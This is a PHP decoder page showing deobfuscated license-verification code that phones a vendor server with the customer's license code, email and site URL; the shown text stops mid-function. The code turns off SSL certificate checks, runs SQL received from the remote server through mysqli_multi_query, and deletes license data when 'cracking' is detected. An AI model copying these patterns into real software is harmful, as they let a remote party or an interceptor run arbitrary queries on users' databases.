Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function aplCustomEncrypt($string, $key) { $encrypted_string = null; i..
Decoded Output download
<?php
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto aCHZZ;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));
$encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "::" . $iv);
aCHZZ:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto Ya1sX;
}
$string = base64_decode($string);
if (!stristr($string, "::")) {
goto U459i;
}
$string_iv_array = explode("::", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
goto A2z0B;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt(
$encrypted_string,
"aes-256-cbc",
$key,
0,
$iv
);
A2z0B:
U459i:
Ya1sX:
return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
$result = false;
if (
!(
!is_float($number) &&
filter_var($number, FILTER_VALIDATE_INT, [
"options" => [
"min_range" => $min_value,
"max_range" => $max_value,
],
]) !== false
)
) {
goto NmzoT;
}
$result = true;
NmzoT:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url)) {
goto Ezxcw;
}
if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) {
goto S7c2L;
}
$result = false;
goto R4Hfe;
S7c2L:
$result = true;
R4Hfe:
Ezxcw:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null)
{
$protocol = "http";
$host = null;
$script = null;
$params = null;
$current_url = null;
if (
!(
(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ||
(isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) &&
$_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")
)
) {
goto en2mY;
}
$protocol = "https";
en2mY:
if (!isset($_SERVER["HTTP_HOST"])) {
goto nGzG8;
}
$host = $_SERVER["HTTP_HOST"];
nGzG8:
if (!isset($_SERVER["SCRIPT_NAME"])) {
goto ln9Y9;
}
$script = $_SERVER["SCRIPT_NAME"];
ln9Y9:
if (!isset($_SERVER["QUERY_STRING"])) {
goto G5jYD;
}
$params = $_SERVER["QUERY_STRING"];
G5jYD:
if (!(!empty($protocol) && !empty($host) && !empty($script))) {
goto qtnZM;
}
$current_url = $protocol . "://" . $host . $script;
if (empty($params)) {
goto xUgd7;
}
$current_url .= "?" . $params;
xUgd7:
if (!($remove_last_slash == 1)) {
goto PWVPT;
}
hBtxj:
if (!(substr($current_url, -1) == "/")) {
goto liGPK;
}
$current_url = substr($current_url, 0, -1);
goto hBtxj;
liGPK:
PWVPT:
qtnZM:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url)) {
goto m39nY;
}
$url_array = parse_url($url);
if (!empty($url_array["scheme"])) {
goto CH80r;
}
$url = "http://" . $url;
$url_array = parse_url($url);
CH80r:
if (empty($url_array["host"])) {
goto Q1Xjk;
}
$raw_domain = $url_array["host"];
$raw_domain = trim(
str_ireplace("www.", "", filter_var($raw_domain, FILTER_SANITIZE_URL))
);
Q1Xjk:
m39nY:
return $raw_domain;
}
function aplGetRootUrl(
$url,
$remove_scheme,
$remove_www,
$remove_path,
$remove_last_slash
) {
if (!filter_var($url, FILTER_VALIDATE_URL)) {
goto Q69o7;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["scheme"] . "://", "", $url);
if ($remove_path == 1) {
goto VZA7A;
}
$last_slash_position = strripos($url, "/");
if (!($last_slash_position > 0)) {
goto d9E38;
}
$url = substr($url, 0, $last_slash_position + 1);
d9E38:
goto n2aKc;
VZA7A:
$first_slash_position = stripos($url, "/");
if (!($first_slash_position > 0)) {
goto InWSZ;
}
$url = substr($url, 0, $first_slash_position + 1);
InWSZ:
n2aKc:
if (!($remove_scheme != 1)) {
goto hCC7S;
}
$url = $url_array["scheme"] . "://" . $url;
hCC7S:
if (!($remove_www == 1)) {
goto qavQj;
}
$url = str_ireplace("www.", "", $url);
qavQj:
if (!($remove_last_slash == 1)) {
goto veHx_;
}
Ma7Og:
if (!(substr($url, -1) == "/")) {
goto meJbk;
}
$url = substr($url, 0, -1);
goto Ma7Og;
meJbk:
veHx_:
Q69o7:
return trim($url);
}
function aplCustomPost($url, $post_info = null, $refer = null)
{
$user_agent = "phpmillion cURL";
$connect_timeout = 10;
$server_response_array = [];
$formatted_headers_array = [];
if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
goto ROIEb;
}
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
goto xzVnU;
}
$refer = $url;
xzVnU:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (
&$formatted_headers_array
) {
$len = strlen($header);
$header = explode(":", $header, 2);
if (!(count($header) < 2)) {
goto tY4fu;
}
return $len;
tY4fu:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]);
return $len;
});
$result = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
$server_response_array["headers"] = $formatted_headers_array;
$server_response_array["error"] = $curl_error;
$server_response_array["body"] = $result;
ROIEb:
return $server_response_array;
}
function aplVerifyDateTime($datetime, $format)
{
$result = false;
if (!(!empty($datetime) && !empty($format))) {
goto VYeRd;
}
$datetime = DateTime::createFromFormat($format, $datetime);
$errors = DateTime::getLastErrors();
if (!($datetime && empty($errors["warning_count"]))) {
goto o0jw8;
}
$result = true;
o0jw8:
VYeRd:
return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (
!(
aplVerifyDateTime($date_from, "Y-m-d") &&
aplVerifyDateTime($date_to, "Y-m-d")
)
) {
goto NITkM;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("%a");
NITkM:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name))) {
goto Rd7mT;
}
preg_match_all(
"/<" .
preg_quote($tag_name, "/") .
">(.*?)<\/" .
preg_quote($tag_name, "/") .
">/ims",
$content,
$output_array,
PREG_SET_ORDER
);
if (empty($output_array[0][1])) {
goto VbGpu;
}
$parsed_value = trim($output_array[0][1]);
VbGpu:
Rd7mT:
return $parsed_value;
}
function aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$notifications_array = [];
if (!empty($content_array)) {
goto hZuWm;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto eybYy;
hZuWm:
if (
!empty($content_array["headers"]["notification_server_signature"]) &&
aplVerifyServerSignature(
$content_array["headers"]["notification_server_signature"],
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product
)
) {
goto jQD2b;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
goto O6t8i;
jQD2b:
$notifications_array["notification_case"] =
$content_array["headers"]["notification_case"];
$notifications_array["notification_text"] =
$content_array["headers"]["notification_text"];
if (empty($content_array["headers"]["notification_data"])) {
goto PDkxi;
}
$notifications_array["notification_data"] = json_decode(
$content_array["headers"]["notification_data"],
true
);
PDkxi:
O6t8i:
eybYy:
return $notifications_array;
}
function aplGenerateScriptSignature(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == null ? APL_PRODUCT_ID : $product;
if (
!(
!empty($ROOT_URL) &&
isset($CLIENT_EMAIL) &&
isset($LICENSE_CODE) &&
!empty($root_ips_array)
)
) {
goto Q4GmI;
}
$script_signature = hash(
"sha256",
gmdate("Y-m-d") .
$ROOT_URL .
$CLIENT_EMAIL .
$LICENSE_CODE .
$product .
implode("", $root_ips_array)
);
Q4GmI:
return $script_signature;
}
function aplVerifyServerSignature(
$notification_server_signature,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$result = false;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == null ? APL_PRODUCT_ID : $product;
if (
!(
!empty($notification_server_signature) &&
!empty($ROOT_URL) &&
isset($CLIENT_EMAIL) &&
isset($LICENSE_CODE) &&
!empty($root_ips_array)
)
) {
goto KIkV9;
}
if (
!(
hash(
"sha256",
implode("", $root_ips_array) .
$product .
$LICENSE_CODE .
$CLIENT_EMAIL .
$ROOT_URL .
gmdate("Y-m-d")
) == $notification_server_signature
)
) {
goto CC053;
}
$result = true;
CC053:
KIkV9:
return $result;
}
function aplCheckSettings()
{
$notifications_array = [];
if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) {
goto WxXVO;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
WxXVO:
if (
!(
!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) ||
!ctype_alnum(substr(APL_ROOT_URL, -1))
)
) {
goto js46j;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
js46j:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
goto waXdH;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
waXdH:
if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
goto f3UYj;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
f3UYj:
if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) {
goto X5AaO;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
X5AaO:
if (
!(
APL_STORAGE == "DATABASE" &&
!ctype_alnum(str_ireplace(["_"], "", APL_DATABASE_TABLE))
)
) {
goto pijfR;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
pijfR:
if (
!(
APL_STORAGE == "FILE" &&
!@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)
)
) {
goto PHYGA;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
PHYGA:
if (
!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))
) {
goto dZpbm;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
dZpbm:
if (
!(
!empty(APL_ROOT_IP) &&
!in_array(
APL_ROOT_IP,
gethostbynamel(aplGetRawDomain(APL_ROOT_URL))
)
)
) {
goto P35C2;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
P35C2:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto IMryR;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver) {
if (aplValidateRawDomain($nameserver)) {
goto TqLnG;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto N6Bba;
TqLnG:
oH7XN:
}
N6Bba:
IMryR:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto r55pk;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = [];
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record) {
$fetched_nameservers_array[] = $record["target"];
nUxPL:
}
Qavs_:
$apl_root_nameservers_array = array_map(
"strtolower",
$apl_root_nameservers_array
);
$fetched_nameservers_array = array_map(
"strtolower",
$fetched_nameservers_array
);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
goto mMLhh;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
mMLhh:
r55pk:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = [];
if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) {
goto NbpNA;
}
$file_content = file_get_contents(
APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION
);
preg_match_all(
"/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/",
$file_content,
$matches,
PREG_SET_ORDER
);
if (empty($matches)) {
goto hI0sT;
}
foreach ($matches as $value) {
if (!(!empty($value[1]) && $value[1] == $value[3])) {
goto lEugi;
}
$license_data_array[$value[1]] = $value[2];
lEugi:
x_aMj:
}
TKTm9:
hI0sT:
NbpNA:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = [];
if (!(APL_STORAGE == "DATABASE")) {
goto jSzxC;
}
$table_exist = @mysqli_query(
$MYSQLI_LINK,
"SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'"
);
if (!@mysqli_fetch_assoc($table_exist)) {
goto f0xjG;
}
$settings_results = @mysqli_query(
$MYSQLI_LINK,
"SELECT * FROM " . APL_DATABASE_TABLE
);
$settings_row = @mysqli_fetch_assoc($settings_results);
f0xjG:
jSzxC:
if (!(APL_STORAGE == "FILE")) {
goto B4ovf;
}
$settings_row = aplParseLicenseFile();
B4ovf:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = [];
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/connection_test.php",
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&connection_hash=" .
rawurlencode(hash("sha256", "connection_test"))
);
if (!empty($content_array)) {
goto EhPcC;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto a43Pw;
EhPcC:
if (!($content_array["body"] != "<connection_test>OK</connection_test>")) {
goto zLWv3;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
zLWv3:
a43Pw:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (
!(
!empty($ROOT_URL) &&
!empty($INSTALLATION_HASH) &&
!empty($INSTALLATION_KEY) &&
!empty($LCD) &&
!empty($LRD)
)
) {
goto NV_66;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (
!(
!filter_var($ROOT_URL, FILTER_VALIDATE_URL) ||
!ctype_alnum(substr($ROOT_URL, -1))
)
) {
goto oMJJ1;
}
$error_detected = 1;
oMJJ1:
if (
!(
filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) &&
stristr(
aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1),
aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)
) === false
)
) {
goto ONtyX;
}
$error_detected = 1;
ONtyX:
if (
!(
empty($INSTALLATION_HASH) ||
$INSTALLATION_HASH !=
hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)
)
) {
goto tARGM;
}
$error_detected = 1;
tARGM:
if (
!(
empty($INSTALLATION_KEY) ||
!password_verify(
$LRD,
aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)
)
)
) {
goto tnqvg;
}
$error_detected = 1;
tnqvg:
if (aplVerifyDateTime($LCD, "Y-m-d")) {
goto Q933E;
}
$error_detected = 1;
Q933E:
if (aplVerifyDateTime($LRD, "Y-m-d")) {
goto BdmX1;
}
$error_detected = 1;
BdmX1:
if (
!(
aplVerifyDateTime($LCD, "Y-m-d") &&
$LCD > date("Y-m-d", strtotime("+1 day"))
)
) {
goto u4jpk;
}
$error_detected = 1;
$cracking_detected = 1;
u4jpk:
if (
!(
aplVerifyDateTime($LRD, "Y-m-d") &&
$LRD > date("Y-m-d", strtotime("+1 day"))
)
) {
goto k2W2n;
}
$error_detected = 1;
$cracking_detected = 1;
k2W2n:
if (
!(
aplVerifyDateTime($LCD, "Y-m-d") &&
aplVerifyDateTime($LRD, "Y-m-d") &&
$LCD > $LRD
)
) {
goto c0cPI;
}
$error_detected = 1;
$cracking_detected = 1;
c0cPI:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) {
goto hBQ0n;
}
aplDeleteData($MYSQLI_LINK);
hBQ0n:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto CLgzh;
}
$data_check_result = true;
CLgzh:
NV_66:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = [];
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php",
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&connection_hash=" .
rawurlencode(hash("sha256", "verify_envato_purchase"))
);
if (!empty($content_array)) {
goto BD52N;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto XR0wA;
BD52N:
if (
!(
$content_array["body"] !=
"<verify_envato_purchase>OK</verify_envato_purchase>"
)
) {
goto gUbC6;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
gUbC6:
XR0wA:
return $notifications_array;
}
function incevioVerify(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$MYSQLI_LINK = null
) {
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto SJIZD;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto v8DSN;
SJIZD:
if (
!empty(aplGetLicenseData($MYSQLI_LINK)) &&
is_array(aplGetLicenseData($MYSQLI_LINK))
) {
goto OtsK5;
}
$INSTALLATION_HASH = hash(
"sha256",
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
);
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_install.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto CIawu;
}
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt(
date("Y-m-d", strtotime("-" . APL_DAYS . " days")),
APL_SALT . $INSTALLATION_KEY
);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto FZ2kU;
}
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_scheme.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
!empty($notifications_array["notification_data"]) &&
!empty($notifications_array["notification_data"]["scheme_query"])
)
) {
goto GK5HD;
}
$mysql_bad_array = [
"%APL_DATABASE_TABLE%",
"%ROOT_URL%",
"%CLIENT_EMAIL%",
"%LICENSE_CODE%",
"%LCD%",
"%LRD%",
"%INSTALLATION_KEY%",
"%INSTALLATION_HASH%",
];
$mysql_good_array = [
APL_DATABASE_TABLE,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$LCD,
$LRD,
$INSTALLATION_KEY,
$INSTALLATION_HASH,
];
$license_scheme = str_replace(
$mysql_bad_array,
$mysql_good_array,
$notifications_array["notification_data"]["scheme_query"]
);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or
die(mysqli_error($MYSQLI_LINK));
GK5HD:
FZ2kU:
if (!(APL_STORAGE == "FILE")) {
goto DX404;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite(
$handle,
"<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"
);
if (!($fwrite === false)) {
goto wTMT2;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit();
wTMT2:
@fclose($handle);
DX404:
CIawu:
goto VNKIB;
OtsK5:
$notifications_array["notification_case"] =
"notification_already_installed";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
VNKIB:
v8DSN:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto C8gTx;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto N2ayF;
}
throw new \Exception(
"Core script license " .
"validation" .
" failed! Please contact" .
" support for help."
);
N2ayF:
$CLIENT_EMAIL = $core_license["CLIENT_EMAIL"];
$LICENSE_CODE = $installable["license_key"];
$ROOT_URL = config("app.url");
$INSTALLATION_HASH = hash(
"sha256",
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
);
$post_info =
"product_id=" .
rawurlencode($installable["id"]) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_install.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
);
if (
$notifications_array["notification_case"] == "notification_license_ok"
) {
goto Hsfq2;
}
if (empty($notifications_array["notification_text"])) {
goto ScK3u;
}
throw new \Exception(
"License " .
"validation" .
" failed! " .
$notifications_array["notification_text"]
);
ScK3u:
goto s5ou2;
Hsfq2:
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt(
date("Y-m-d", strtotime("-" . APL_DAYS . " days")),
APL_SALT . $INSTALLATION_KEY
);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_scheme.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
);
if (
!(
!empty($notifications_array["notification_data"]) &&
!empty($notifications_array["notification_data"]["scheme_query"])
)
) {
goto cP18I;
}
return [
"installation_key" => $INSTALLATION_KEY,
"installation_hash" => $INSTALLATION_HASH,
"lcd" => $LCD,
"lrd" => $LRD,
];
cP18I:
s5ou2:
C8gTx:
throw new \Exception(
"License " .
"validation" .
" failed! Please contact" .
" support for help."
);
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = [];
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto qf7V5;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto rD3z9;
qf7V5:
if (aplCheckData($MYSQLI_LINK)) {
goto PqwBu;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto EFoTa;
PqwBu:
extract(aplGetLicenseData($MYSQLI_LINK));
if (
aplGetDaysBetweenDates(
aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY),
date("Y-m-d")
) < APL_DAYS &&
aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") &&
aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") &&
$FORCE_VERIFICATION === 0
) {
goto gboIf;
}
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_verify.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto FVJ1V;
}
$update_lcd_value = 1;
FVJ1V:
if (
!(
$notifications_array["notification_case"] ==
"notification_license_cancelled" &&
APL_DELETE_CANCELLED == "YES"
)
) {
goto bPz4J;
}
aplDeleteData($MYSQLI_LINK);
bPz4J:
goto Cukfc;
gboIf:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_BYPASS_VERIFICATION;
Cukfc:
if (
!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))
) {
goto TMwJa;
}
$update_lrd_value = 1;
TMwJa:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto VcoPV;
}
if ($update_lcd_value == 1) {
goto V15AH;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto WSN_a;
V15AH:
$LCD = date("Y-m-d");
WSN_a:
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto YmEPP;
}
$stmt = mysqli_prepare(
$MYSQLI_LINK,
"UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?"
);
if (!$stmt) {
goto pTU0F;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto J0XW5;
}
$updated_records = $updated_records + $affected_rows;
J0XW5:
mysqli_stmt_close($stmt);
pTU0F:
if (!($updated_records < 1)) {
goto OZEFJ;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit();
OZEFJ:
YmEPP:
if (!(APL_STORAGE == "FILE")) {
goto nAkCJ;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite(
$handle,
"<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"
);
if (!($fwrite === false)) {
goto A1as8;
}
